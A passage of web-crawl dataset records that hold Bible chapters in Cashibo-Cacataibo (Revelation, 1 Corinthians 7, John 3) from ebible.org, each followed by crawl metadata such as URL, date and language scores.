xëoquiaxa. Xëoquicëbëtan cana bunánti, anua Nucën Papa Diosan cuënëo maxax pará rabë́ nancë, a isan. Iscëbëa munuma caná mëriti banacëbë ca bëtsi ñuribi sharámainun mecama shaíquiaxa. 'Imainun ca 'uí 'aíshbi matsiira 'aish iru ax rëucubuaxa.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/REV11.htm","date":"2022-05-28T01:29:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663011588.83\/warc\/CC-MAIN-20220528000300-20220528030300-00646.warc.gz","language":"cbr","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000076293945312}","num_words":820,"character_repetition_ratio":0.074,"word_repetition_ratio":0.002,"special_characters_ratio":0.212,"stopwords_ratio":0.298,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"16\nAnun uni paë tanmiti xanpanu 'icë ñucama ñui quicë bana\n1 Usai 'icëbëtan cana anuxun Nucën Papa Dios rabiti xubu 'ucë mëúcüax munuma banaquin a ángelcama caía ësai quia cuan:\n—Mitsun xanpa buani camina anu 'icë ñucama, anun Nucën Papa Diosan an ñu 'atima 'acë unicama castícanti, acama menu tutucai cuanti 'ain.\n2 Cacëx cuanxun ca achúshi ángelnën pain aín xanpanua 'icë ñu menu tutucaxa. Tutucacëbë ca uicamax cara axa parúnpapanuax uax 'irucë ñuinacan'ëonan 'icë 'unántioquin cuënëocë, 'ianan a tanquian a iscësa oquin unin 'acë ñu rabicë unicamanu 'aisamaira chancu 'iruaxa. Usai 'iquin ca aín nami chëquimiquin 'aisamaira oquin paëoxa.\n3 Usai 'icëbëtan ca bëtsi ángelnën aín xanpanu 'icë ñu parúnpapanu tutucaxa. Tutucacëbë ca parúnpapa, uni bamacënën imisa 'iaxa. Parúnpapa axa imi 'ain ca anu 'icë ñuinacama bamaxa.\n4 Usai 'icëbëtan bëtsi ángelnënribi aín xanpanu 'icë ñu bacacamanu 'anan xëxácamanu tutucacëbë ca a 'unpáxcamaribi imi 'iaxa. 5 Usaía 'unpáxcama 'icëbëtan cana an bacacama iscë ángel ësai quia cuan:\n—Nucën 'Ibu Dios 'aish ca min sinan usabi asérabi upíira upí 'icën. Mix camina usabi 'iá 'aish usabi 'ain. A 'unpáxcamami usoquin imi 'imia isquin cana 'unan, min sinan upí 'ixúnmi ñu 'aisama cuëëncëma cupí camina usoquin 'an. 6 Minmi usoquin tëmëramicë unicama an ca min uni 'itsaira 'anan an mixmi quicë bana uni ñuixuncë uni 'itsaira bamamiaxa. Usaquian 'acë cupí camina a xëanun imi 'inan. Atun 'ucha cupíbi ca usai 'ia.\n7 Usaquin cuanan cana anuxun tsëpasa ñu sanutanun nëënti, anuax ësai qui banaia cuan:\n—Usa ca. Nucën 'Ibu Dios 'aish camina min cushi chaira 'aish, bëtsi cushisama 'ain. Min sinan upíira 'ixun camina uisa caramina oti 'ai usoquin 'an. Mixmi ñu 'atima cuëëncëma cupí camina usoquin 'an.\n8 Usai 'icëbëtan ca bëtsi ángelnënribi aín xanpanu 'icë ñu tutucaquin barinu anpë́ncaxa. Anpë́ncacëbëtan ca cushiira pëquiquin, barin 'itsisan unicama xaronun Nucën Papa Diosan 'imiaxa. 9 Usoquian 'aisamaira oquin 'itsis oquin xarocëxunbi ca unicaman sinanaquin atun ñu 'aisama 'acëcama ëncëma 'icën. Ëníma 'ianan ca Nucën Papa Dios rabicëma 'icën. Nucën Papa Diosan ca anúan atu castícancë ñucama nëtë́ntsianxa. Usaquian 'ati 'aíshbi ca sinanatíma ami xuamati nishi Nucën Papa Diosmi 'atimati banaxa.\n10 Usai 'icëbëtan ca bëtsi ángelnënribi aín xanpanu 'icë ñu, anua parúnpapanuax uax 'irucë ñuinacan'ëo 'icë, anu tutucaxa. Tutucacëbë ca anua an 'ibuacë unicama 'icë ax bëánquiaxa. Usai 'icëbëtan 'aisamaira oquin paë tani ca aín unicama bënë́axa. 11 Paë tani bënë́quin ca aín paë 'imainun aín chancu 'aisamaira 'ain, axa naínu 'icë Nucën Papa Dios, ami nishi 'atimati banaquin ñuiaxa. Usai 'i ca ñu 'atima 'ati ëni sinanacëma 'icën.\n12 Usai 'icëbëtan ca bëtsi ángelnënribi aín xanpanu 'icë ñu Eufrates bacanu tutucaxa. Tutucacëbë ca aín 'unpax ësquiaxa, aucüaxa bari urucë menu 'icë 'apucamaxa anun unun. 13 Ësaquin isanan cana capë́sa ñuina chaira, 'imainun parúnpapanuax uax 'irucë ñuinacan'ëo, 'imainun an Nucën Papa Dios rabiquinma ñuinacan'ëo rabinun quixun unicama paráncë, acaman cuëbínuaxa ñunshin 'atima, tuan tita iscësa ñu rabë́ 'imainun achúshi chiquitia isan. 14 A ñunshin 'atimacama tuan tita iscësa, acaman ca unicama paránuxun unin 'acëma ñu 'axa. Usoquin 'anan ca camabi menu cuanquin, anu 'icë 'apucama aín suntárucamaxa bëtsi menu 'icë suntárubë 'acananux tsuáquirunun sinánmiaxa. Usa 'ixun ca camabi uni timëaxa, axa aín cushi chaira 'aish bëtsi cushisamaira Nucën Papa Dios, an anun 'aisamaira oquin atu castícanti nëtë sënë́ncëbëtan. 15 \"Ësai ca 'iti 'icën: An ñu mëcamacë uníxa unin sináncëma 'aínbi 'icësaribicuatsini cana 'ëx uti 'ain. 'Ëx ucëbë ca an upí ñu 'aquin 'ëx uti caíncë uni, ax cuëënti 'icën. Ax ca chupa upí pañucësa 'aish rabíntima 'icën. Usa 'aish ca chupañuma 'icëa uni raírinën iscë́xa uni rabíncësaribi 'itima 'icën\". 16 Ñunshin 'atimacama tuan tita iscësa, an sinánmicëx ca camabi menu 'icë 'apucama 'imainun aín suntárucamax Armagedón cacë me anu timë́axa. A mex ca hebreo banan Armagedón cacë 'icën.\n17 Usai 'icëbëtan ca anuxun Nucën Papa Dios rabiti xubunuax chiquícë ángel itsínribi aín xanpanu 'icë ñu tutucaxa. Tutucacëbëa naínu 'icë anuxun Nucën Papa Dios rabiti xubu anua Nucën Papa Dios 'icë anuax ësai banaia cana cuan:\n—Anuishi sënë́nquin cana 'an.\n18 Usai 'icëbë ca caná mëriti banacëbë bëtsi ñuribi sharámainun mecama shaíquiaxa, uisa nëtë́nbia unin tansamaira oi. 19 'Icëbë ca Babilonia cacë ëma, ax achúshi 'aíshbi rabë́ 'imainun achúshisa 'itánun tuquimainun camabi menu 'icë ëma chanu 'icë xubucamax rurucubuaxa. Usaribi oquin ca Nucën Papa Diosan Babilonianu 'icë unicamami nishquin, atun ñu 'atima 'acë a manucëma 'ixun paë tanía tëmëratanun castícanxa. 20 Mecama shaíquicëbë ca nasícama 'imainun matá me 'imainun aín bashicamaribi 'aíma 'inun nëtë́axa. 21 'Imainun ca 'uí 'aíshbi matsiira 'aish iru, acamax naínuax achúshi achúshinëx cuarenta (40) kilosa 'aish rëucubuaxa. Rëucubucëbëtan 'aisamaira oquin paë tani ca ami nishi a unicamax Nucën Papa Diosmi 'atimati banaxa.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/REV16.htm","date":"2022-05-28T01:31:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663011588.83\/warc\/CC-MAIN-20220528000300-20220528030300-00651.warc.gz","language":"cbr","language_score":1.0000056028,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000056028366089}","num_words":741,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.297,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"20\nMil baritia ca ñunshin 'atimacama sipuacë 'iti 'icë quixun ñui quicë bana\n1 Usaquin istancëxun cana ángel naínuax ubutia isan. A ángelnëx ca quini chaira, anun aín xëcuë xëocati ñu a tuíanan, manë risi chaira aribi tuíncë 'iaxa. 2 Ubútancëxun ca a ángelnën capë́sa 'aíshbi pianancë ñuinacan'ëo chaira, an bëráma runusa 'ixun Nucën Papa Diosan uniotabatia uni paran 'ixun camabi menu 'icë uni paráncë, ñunshin 'atimanën 'apu Satanás, a biquin mil baritia niaxma 'inun manë risin nëaxa. 3 Usoquin nëatancëxun ca quini chaira anu nipáxa. Nipátancëxun xëpuquin ca uinu 'icë unínbi xëocaisama oquin 'unántioxa. Anuaxa unicama parántëcënux chiquitima, anu mil baritian sipuacë 'inun ca ángelnën a capë́sa ñuina nëaxun quini chairanu nipáxun xëpuaxa. Usaquin nipácë 'aish ca mil baritia 'icëbëtan chiquíncë 'iti 'icën, 'uráinra 'inuxmabi.\n4 Acama istancëxun cana anu tsóti cha bëtsi bëtsi isan. Anu ca an uni raíri ñu upí cara 'axa, ñu upíma cara 'axa quixun isti, acama tsócë 'iaxa. Acama isanan cana axa —'ëx cana Jesúsnan 'ai —quiquin bana ñuixuncë cupí tëbíscacë unicama, 'imainun axa Nucën Papa Diosan bana cuacë cupí tëbíscacë unicama, acaman ñunshínribi isan. Acamax ca 'itsa maxcáñu 'ianan 'itsa matúxca ñuinacan'ëo a rabima, 'ianan a tanquin unin 'acë ñu a rabima, 'ianan ainan 'inun 'unántioquin aín bëmánan 'imainun aín mëcën cuënëocëma 'iaxa. 'Ën iscëx ca acamax bama aíshbi baísquiaxa. Baísquitancëx ca Cristobë mil baritia 'apu 'iaxa. 5 Acamax baísquicë 'aínbi ca axa bama raíri baísquicëma pan 'iaxa, mil baritia inúcëbë cuni baísquinux. 6 Uicamax pain cara baísquicë 'icë, acamax ca Nucën Papa Diosan 'imicëx aín nuitu upíira 'aish cuëëinra cuëënti 'icën. Bamatëcëntimoi ca xënibua 'aínbi Nucën Papa Diosbë 'iti 'icën. Bamatëcëntimoi ca Nucën Papa Dios 'imainun Cristo cuëënquin rabianan abë mil baritian 'apu 'iti 'icën.\n7 Mil baritia inúcëbë ca Nucën Papa Diosan 'imicëx Satanás quini chaira anuax chiquíti 'icën. 8 Chiquítancëxun ca camabi menu 'icë unicama paránquin bëtsi oquin sinánmiti 'icën. Usoquin 'anan ca Gog cacë 'apu 'imainun Magog cacë 'apu 'imainun aín unicama paránquin tsuáquirumiquin axa Nucën Papa Diosmi sináncë unicamabëa 'acananun timëti 'icën. An timëcë unicamax ca 'aisamaira 'aish parúnpapa masisaribi 'iti 'icën. 9 'Ën iscëxun ca tsuácarucëxun mecamanu cuanquin a suntárucaman anua an Nucën Papa Diosan bana cuacë suntárucama 'icë, a bëararanan a Nucën Papa Dios cuëëncë ëma, Jerusalén, aribi bëararaxa. Bëararatiabi ca Nucën Papa Diosan naínuax ucë manë tsin a suntárucama cëñuaxa. 10 Usoquin cëñuanan ca ñunshin 'atimanën 'apu, an unicama paráncë, a 'ianëmë'ëosa manë tsi, anuaxa azufreribi rëquirucë, anu 'inun niaxa. Anua 'itsa maxcáñu 'ianan 'itsa matúxcañu ñuinacan'ëo a 'imainun bëtsi ñuinacan'ëo an Nucën Papa Dios rabiquinma ñuinacan'ëo rabinun quixun unicama paráncë, anu atux 'icë ca ñunshin 'atimanën 'apuribi anu niaxa. Anuxun ca acaman nëtë́nbi imë́bi xënibua 'aínbi nëtë́timoquin paë tanquin tëmërati 'icën.\nAnu Nucën Papa Dios 'icë, a bëmánon unicama sëtë́cë isa\n11 Usaquin istancëxun cana anua 'apu tsóti uxua chaira isan, anu tsócë aribi cana isan. Iscëxbi ca ax anu 'ain, me 'imainun naícama 'imainun anu 'icë ñucama nëtë́axa, nëtëti ca anua ax 'iti 'aíma 'iaxa. 12 Usaquinribi isanan cana axa bama unicama, uni cushibu 'imainun uni cushimabu, acamaxa baísquitancëx anua Nucën Papa Dios 'icë aín bëmánon sëtë́cë isan. A unicamaxa sëtë́mainun ca quirica achúshi, anu ui unicamax cara Nucën Papa Diosbë 'iti 'icë quixun aín anë cuënëocë, ax bacacë 'iaxa. A isanan cana bëtsi quiricacamaribi isan. A quiricacamanu ca añu ñucama cara unicaman 'axa quixun cuënëocë 'iaxa. A quiricacama isquin ca Nucën Papa Diosan unin cara upí ñu 'axa, cara upíma ñu 'axa quixun isaxa. Isun ca aín ñu 'acësabi oquin mëníonan an ñu upí 'acë uni upí 'imainuan an ñu upíma 'acë unicama tëmëranun 'imiaxa. 13 Bama unicama 'imainun ca parúnpapanuax bacamiquia camaxribi baísquiaxa. Baísquia ca uisoquin cara ñu 'atima 'axa, usoquinribi Nucën Papa Diosan uisoquin cara 'ati 'icë usoquin 'axa. 'Anan ca uisoquin cara ñu upí 'axa usaribi oquin a upitia bamatimoi abë tsonun 'imiaxa. 14-15 Usaquin 'á 'ain ca bamati 'imainun anua uni bamacë 'icë ax 'ianëmë'ëosa manë tsi rëquirucë anu nicë 'iaxa. 'Imainun ca ui unicamax cara Nucën Papa Diosan nëtënu 'inun aín anë cuënëoma 'icë, acamaxribi anuax bamatëcëncësa 'aish chiquítimoi 'inux, 'ianëmë'ëosa manë tsinu nicë 'iaxa.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/REV20.htm","date":"2022-05-29T09:08:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663048462.97\/warc\/CC-MAIN-20220529072915-20220529102915-00676.warc.gz","language":"cbr","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000063180923462}","num_words":663,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.294,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"II. CORINTONU 'ICË UNICAMAN ÑUCÁCËXUAN PABLONËN CA (7-16)\n7\nUnin cara xanu biti 'icë quixuan Corintonu 'icë unicaman ñucácëxuan Pablonën ca\n1 Mitsúnmi 'ë quirica bëmiquin ñucácë banacama a ñuiquin cana ësaquin mitsu cain, unin xanu bitima ca asábi 'icën. 2 Usa 'aínbi ca camabi unin xanu cuëënia. Usa 'ain ca xanu itsi cuëënti rabanan camabi uni xanuñu 'iti 'icën, camabi xanúxribi ca bënëñu 'iti 'icën. 3 Nucën Papa Diosan mëníosabi oi ca uni aín xanubë 'iti 'icën. Usaribiti ca xanu aín bënëbë 'iti 'icën. 4 Xanux ca axëshima 'icën, ax ca aín bënënanribi 'icën. Usaribiti ca uni axëshima 'icën, ax ca aín xanunanribi 'icën. 5 Usa 'ain ca xanun aín bënë aín nami 'aisa tancëxun timatima 'icën. 'Imainun ca unínribi aín xanu aín nami 'amitisa tancëxun timatima 'icën. A rabëtaxbi upiti Nucën Papa Diosbë banatisa tani cananquin mëníotancëx cuni ca ënánanti 'icën. Ñunshin 'atimanën 'apúan 'atimaquin sinánmicëx tënëtisama tani 'uchati rabanan biránantëcënuxbi ca bënëtishi ënánanti 'icën.\n6 Unían asérabi xanu binun quixun cana 'ën caiman. Biisa tanquin ca biti 'icën. 7 'Ën sináncëx ca camabi uni 'ësaribi xanuñuma 'iti asábi 'icën. Usa 'aínbi ca Nucën Papa Diosan achúshi achúshi uni, xanuribi, uisai cara 'iti 'icë quixun mëníoia.\n8 Ësaquin cana mitsu cain, xanuñuma unin xanu bitima ca asábi 'icën, 'ëx 'icësaribiti. 'Imainun ca bënëñuma xanu 'imainun casunamëcë xanu bënutima asábi 'icën. 9 Usa 'aínbi ca xanuñuma 'iti tënëtisama tanquin unin xanu biti 'icën, xanúxribi ca bënëñuma 'iti tënëtisama tani bënuti 'icën.\n10 Bënëñu xanu ñuiquin cana ësaquin cain, an ca aín bënë ëntima 'icën. 'Ën sinanënbi caquinma cana Nucën 'Ibu Jesusan sinánmicëxun usaquin cain. 11 Aín bënë ënquinbi ca xanun uni itsi bitima 'icën. Biisa tanquin ca aín bënë bitëcënti 'icën. Usaribi oquin ca unin aín xanu ëntima 'icën.\n12 Ënë banaribi ñuiquin cana Nucën 'Ibu Jesusan 'ë sinánmicëma, 'ënbi sinánquin, ësaquin mitsu cain: axa Jesucristomi catamëcë unin ca aín xanúxa Jesucristomi catamëcëma 'aíshbi abë upí 'ixun ëinsama tancëxun ëntima 'icën. 13 Usaribi oquin ca xanuxun ax Jesucristomi catamëcë 'ixun aín bënë Jesucristomi catamëcëma 'icëbi an ëinsama tancëxun ëntima 'icën. 14 Usa 'ain ca aín xanu Jesúsmi catamëcë 'ixun aín bënëribi Jesúsmi sinánun sinánmiti 'icën. Sinánmianan ca aín tuácamaribi Jesucristomi sinánun sinánmiti 'icën. Usaribi oquin ca aín bënën Jesúsmi catamëcë 'ixun aín xanuribi Jesúsmi sinánun sinánmianan aín bëchicë Nucën Papa Diosan bana 'unánmiti 'icën. Usaquinmi 'aquincëx ca mitsun bëchicëcama ax an Nucën Papa Diosan bana cuacëma unin bëchicësa 'itima 'icën. 15 Usa 'aínbi ca axa Jesúsmi catamëcëma unin aín xanu Jesúsmi catamëcë 'icë ëinsa tanquin ënti 'icën. Usaía 'icëxbi ca aín xanun 'uchama 'icën. Usaribi oquin ca axa Jesúsmi catamëcëma xanun aín bënë Jesúsmi catamëcë 'icë ëinsa tanquin ënti 'icën. Usaía 'icëxbi ca aín bënën 'uchama 'icën. Nucën Papa Dios ca nuxnu nun xanubë 'atimonani cuëbícanani tsoti cuëënima. 16 Camina 'unaniman, mix xanu 'ixunmi ami sinánmisa tancëx cara min bënë Jesucristomi sinánti 'icë quixun. Camina 'unaniman, mix bëbu 'ixunmi ami sinánmisa tancëx cara min xanu Jesucristomi sinánti 'icë quixun.\n17 Nucën 'Ibu Dios cuëëncësabi oi camina a nëtë́an an mitsu ainan 'imicë, usaíbi 'iti 'ain. Usoquin cana camabi ëmanu 'icë axa Jesucristomi catamëcë unicama cain. 18 Ënëx ca ësa 'icën. Mitsux judíos uni 'icë Nucën Papa Diosan Jesúsmi catamënun sinánmicëx camina mitsux judíos unicama 'icësaribiti 'unánti ocë 'aish usabi 'iti 'ain. Usaribiti mitsux judíosma uni 'aish Jesúsmi catamëti ami sinántancëx camina judíos uni 'icësaribiti 'inux 'unánti oracatima 'ain. 19 'Unánti oracacë 'ianan 'unánti oracacëma 'ixunbia aín bana quicësabi oquin 'aia cuni ca Nucën Papa Diosan uni upí isia. 20 Uisai cara Nucën Papa Diosan ainan 'inun 'imicëma pain 'aish 'iaxa, usaíbi ca ainan 'aish uni 'iti 'icën. 21 Mixmi an uni ñu mëëxuncë uni 'icë Nucën Papa Diosan ainan 'imicëxun camina bënë́quinma min 'acësabi oquin an mi ñu mëëmicë uni ñu mëëxunti 'ain. Usa 'aínbi camina an mi 'aisa tanquin chiquíncëx anuax cuanti 'ain. 22 Uni an uni ñu mëëmicë uninan 'ixun ca aín 'ibu cuëëncësabi oquin 'aia. Usa 'aíshbi ca Nucën 'Ibu Jesucristonën ainan 'inun 'imicë 'ixun a unin an ñu mëëmicë uni ñu mëëxuníbi, Nucën 'Ibu Jesucristomi catamëcë 'ixun upí oquin 'acë 'aish, abi 'axuncësa 'ia. Usaribi oquin ca uni an uni ñu mëëxuncëma a Nucën Papa Diosan ainan 'inun Cristomi sinánmicë 'ixun, ax aín bamati nëtë sënë́ntamainun Cristonën uni 'ixun ax cuëëncësabi oquinshi 'aia. 23 Mitsúxmi ainainshi 'iti oquin ca Nucën Papa Diosan aín Bëchicëbi camabi uni cupí bamati oquin mëníocëxa. Usa 'ain camina uinu 'icë unínbia Jesucristo cuëëncësoquinma ax cuëëncësoquinshi 'acë 'itima 'ain. 24 'Ën xucë́antu, cana mitsu catëcënin, uisai caramina Nucën Papa Diosan Jesucristomi sinánmicëma pan 'aish 'ia, usabii camina 'iti 'ain, Nucën Papa Dios cuëëncësabi oi.\n25 Nucën 'Ibu Jesusan sinánmicëma 'ëxbi cana, bënëñuma xanu 'imainun xanuñuma uni ñuiquinmi mitsun 'ë ñucácë a ñui ësai quin, Nucën 'Ibu Jesusan aín bana unicama ax cuëëncësabi oquin ñuixunti 'imicë 'aish. 26 Axa ami catamëcëma unicaman ca axa Jesucristomi catamëcë unicama ami nishquin bëtsi bëtsi oia. Usaquian 'acëx cananuna upitax bucuiman. Usa 'ain ca 'ën sináncëx, xanuñuma uni ax usabi 'iti 'icën, bënëñuma xanu axribi ca usabi 'iti 'icën. 27 Xanuñu 'ixun camina a ënti sinántima 'ain. Xanuñuma 'ixun camina xanu biti sinántima 'ain. 28 Unin xanu biti, ax ca 'uchama 'icën. Usaribiti ca xanu bënuti ax 'uchama 'icën. Usa 'aínbi ca an xanu bicë uni 'imainun axa bënucë xanu, ax an Nucën Papa Diosan bana cuacëma unicaman 'atimocëx 'aisamaira tëmërati 'icën, an xanu bicëma uni 'imainun bënucëma xanu 'icësamaira oi.\n29 'Ën xucë́antu, ësaquin cana mitsu caisa tanin, xënibuirai cananuna tsótima 'ain. Usa 'ain ca uni xanuñu 'aíshbi xanuñumasa 'iti 'icën. 30 Axa rarumacë uni an ca aín rarumatishi sinántima 'icën. Axa bëtsi unicamabë timë́ax cuëëncë unicamax ca axa cuëëncëma unicamasaribi 'iti 'icën. An ñu bicë uni axribi ca ñuñu 'aíshbi ñuñumasa 'iti 'icën. 31 Ënë nëtënuanu iscë ñu ënëx ca cëñutia. Usa 'ain ca ënë nëtënuxuan an ñu bicë uni ax ñu bicëma unisa 'iti 'icën.\n32 Mitsúxmi ënë nëtënu 'icë ñu 'aisamaira oquin sinani masá nuituti bënë́ti cana cuëëniman. Xanuñuma unin ca Nucën 'Ibu Jesús cuëëncësa oquinshi 'ati sinania, axa cuëëntanun. 33 Usa 'aínbi ca xanuñu uni an ënë nëtënu 'icë ñuñu 'iti sinania, aín xanu cuëëntanun. 34 Usaribi oquin ca bënëñuma xanun Nucën Papa Diosan iscëxun ñu upíshi 'ati sinánan aín sinan upí 'ixun Nucën 'Ibu Jesús cuëëncësa oquinshi 'ati sinania, ax cuëëntanun. Usa 'aínbi ca bënëñu xanu an ënë nëtënu 'icë ñuishi sinania, aín bënë cuëëntanun.\n35 Mitsu ënë nëtënu 'icë ñucama 'aisamaira sinánxma 'inun caquin cana mitsu masá nuitumitisama tanin. Mitsúxmi chuámarua 'iti cupíshi cana usaquin mitsu can, mitsúxmi bëtsi ñumi sinanima Nucën 'Ibu Jesús cuëëncësabi oíshi 'i cuëënun.\n36 Usa 'aínbi ca unin aín bëchicë xanu, aín bënuti sënë́ncëbëtan, 'iisa tania bënumiti 'icën. Ax ca 'uchama 'icën. Usaía 'iti ca asábi 'icën. 37 Usa 'aínbi ca uni itsin upí oquin sinánxun, aín bëchicë xanu bënumisama tanquin axribia bënutisama tania, a bënumitima 'icën. Usaía 'iti ca asábi 'icën. 38 Usa 'ain ca unin aín bëchicë bënumiti asábi 'icën. 'Imainun ca unían aín bëchicë bënumitima ax asábiira 'icën.\n39 Bënëñu xanu an ca usai uni 'iti quicësabi oquin, bamacëma 'icë aín bënë ëntima 'icën. Aín bënë bamacëbë cuni ca 'iisa tani bënuti 'icën, Nucën 'Ibu Jesús cuëëncëbë. 40 Usa 'aínbi ca 'ën sináncëx bënëñu 'aish 'icësamairai bënëñuma 'aish chuámarua tani cuëënti 'icën. 'Ën sináncëxun ca Nucën Papa Diosan Bëru Ñunshin Upitan usaquin 'ë sinánmiaxa.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/1CO07.htm","date":"2022-05-18T12:16:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662522270.37\/warc\/CC-MAIN-20220518115411-20220518145411-00359.warc.gz","language":"cbr","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000087022781372}","num_words":1171,"character_repetition_ratio":0.098,"word_repetition_ratio":0.003,"special_characters_ratio":0.218,"stopwords_ratio":0.36,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3\nNicodemoa Jesús isi cuan\n1 Fariseo uni achúshi ca Nicodemo caquin anëcë 'iacëxa. Ax ca judíos unicaman 'apu achúshi 'iacëxa. 2 Usa 'ixun ca anu ñantan cuanxun Jesús cacëxa:\n—Unían mix camina cushiira 'ai quixun 'unánun camina uinu 'icë unínbia 'acëma ñu 'ain. Nucën Papa Diosa abëma 'ain ca uinu 'icë unínbi minmi 'acësoquin ñu 'atima 'icën. Usa 'ain cananuna 'unan, Nucën Papa Diosan ca minmi nu 'unánminun ënë menu mi xuacëxa quixun.\n3 Cacëxun ca Jesusan cacëxa:\n—Asérabi cana 'ën mi cain, axa aín cushin bacë́ntëcëncëma uni ax ca Nucën Papa Diosnan 'itima 'icën.\n4 Usaquian cacëxun ca Nicodemonën cacëxa:\n—¿Uisax cara bëráma cania 'aish uni bacë́ntëcënti 'ic? ¿Amiribishi cara aín titan pucunu atsíanx bacë́ntëcënti 'ic?\n5 Nicodemonën cacëxun ca Jesusan cacëxa:\n—Usama ca. Asérabi cana 'ën mi cain, 'unpax 'imainun Nucën Papa Diosan Bëru Ñunshin Upitan bacë́ntëcëncëma uni ax ca Nucën Papa Diosnan 'itima 'icën. 6 Axa xanunuax bacë́ncë, ax ca unishi 'ia; axa aín Bëru Ñunshin Upitan bacë́ncë uni, ax ca Nucën Papa Diosan Bëru Ñunshin Upíñu 'ia. 7 Nucën Papa Diosan cushin camina bacë́ntëcëncë 'iti 'ai quixun 'ën mi cacëx ratúaxma ca 'it. 8 Uinuax cara suñu bëëqui banaquiania camina cuatin, 'ixunbi camina isima, uinuax cara a suñu aia, uinu cara cuania quixun. An ñu shaícaianu suñu iscëma usaribi oquin cananuna Nucën Papa Diosan Bëru Ñunshin Upitan uni bacëntëcënmia isiman.\n9 Cacëxun ca Nicodemonën Jesús catëcëancëxa:\n—¿Uisa 'aish cara usai 'iti 'ic?\n10 Cacëxun ca Jesusan Nicodemo cacëxa:\n—¿Mix an Israel unicama 'unánmicë 'ixunbi caramina 'ën mi cacëxun uisai qui quicë cara quixun cuatiman? 11 Asérabi cana mi cain, nun 'unáncë ñu ñuianan nun iscë ñuribi ñui cananuna nux quin. Quiabi camina nun bana ca asérabi 'icë quixun sinaniman. 12 ¿Ënë menu 'icë ñu 'ën ñuia cuaquinma caramina uisaxun 'ën naínu 'icë ñu ñuia cuati 'ain? 13 Uinu 'icë unínbia anu 'icë ñu 'unáncë 'aímabi cana 'ën cuni anuax uá 'ixun 'unanin. 14 Moisésnëan anu uni 'icëma menuxun manë 'acë runu, camabi unin isnun, i nitsínxun anu nansaribi oquin ca uni 'inux Nucën Papa Diosnuax uá 'icë, 'ë unin 'ati 'icën, 15 uinu 'icë unix cara 'ëmi catamëtia axa nëtë́timoi Nucën Papa Diosnan 'inun.\nNucën Papa Diosan ënë menu 'icë unicama nuibacë bana\n16 Camabi uni asérabi nuibaquin ca Nucën Papa Diosan aín Bëchicë achúshi ënë menu xuacëxa, uicamax cara ami catamëtia axa nëtë́timoi abë 'inun. 17 Nucën Papa Diosan ca aín Bëchicë an ënë menu 'icë unicama aín 'ucha cupí 'uchonun xuáma 'icën. Ama, ënë menu 'icë unicama aín 'ucha tërë́nquin ainan 'inun ië́minun quixun ca xuacëxa. 18 Aín Bëchicëmia catamëcë uni ax ca Nucën Papa Diosan 'uchocë 'ima. Usa 'aínbi ca axa ami catamëcëma uni ax aín Bëchicë achúshi ami catamëcëma cupí Nucën Papa Diosan aín 'ucha cupí castícantishi 'icën. 19 Axa ami sináncëma unicamax ca aín 'ucha cupí Nucën Papa Diosan castícantishi 'icën, atúan an aín sinan upíira 'ixun uni upí 'imiti ax uánbi ami catamëisama tanquin 'atima ñu 'atishi cuëëncë cupí. 20 An ñu 'atima 'acë unicaman ca an 'aia unin isti rabanan xabánuxun 'ati cuëënquinma bëánquibucënuxun ñu 'aia. 21 Usa 'aínbi ca an Nucën Papa Dios cuëëncësabi oquin 'acë uni, an 'aia isquian —an ca Nucën Papa Diosan 'aquincëxun ñu 'aia —quixun unin 'unánun xabánuxun ñu 'aia.\nAmiribishia Juanën Jesús ñuitëcëan bana\n22 Usa 'ain ca Jesusan aín 'unánmicë unicamabë Judea menu 'icë ëmacamanu cuantancëx anu 'ixun uni nashimiacëxa. 23-24 Nashimimainun ca Juanënribi sipuacëma pain 'ixun Enón caquin anëcë ëma, anua 'itsa 'unpax 'ain, anuxun uni ricuatsincë nashimiacëxa. Enón cacë ëma ax ca Salim caquin anëcë ëma 'urama 'iacëxa.\n25 Usa 'ain ca judío uni achúshinëx Juanëan 'unánmicë unicamabë, aín raraxa quiásabi oquin Nucën Papa Diosa cuëënun ñu 'ati ñui cuëbicanancëxa. 26 Usai cuëbicananquiani anu cuanxun ca Juan cacëxa:\n—A ñuiquinmi nu cacë uni axa mibë Jordán 'ucë manan 'icë, Jesús, an unicama nashimicëbë ca camabi unix anu ricuatsinia.\n27 Cacëxun ca Juanën cacëxa:\n—Uinu 'icë unínbi ca Nucën Papa Diosan 'imicëxunma usa ñu 'atima 'icën. 28 Mitsun camina, Cristoma cana 'ai 'ëx quia cuan. Nucën Papa Diosan ca 'ë caxua ax unun 'ëx pain rëcuë́ncuatsini unun 'ë xuaxa. 29 Ësa ca. Ainan 'inúan unin bicëx ca xanu ainan 'ia. Ainan 'iti xanu bitsia uni cuëëni banaia cuati ca axa abë nicë uníxribi cuëënia. Usaribiti cana 'ëx —unicaman ca Jesusan bana cuatia —quixunmi mitsun 'ë cacëxun cuati chuámarua tani cuëënin. 30 Usa 'ain ca Nucën Papa Diosan usai ca 'iti 'icë quixun ñuiasabi 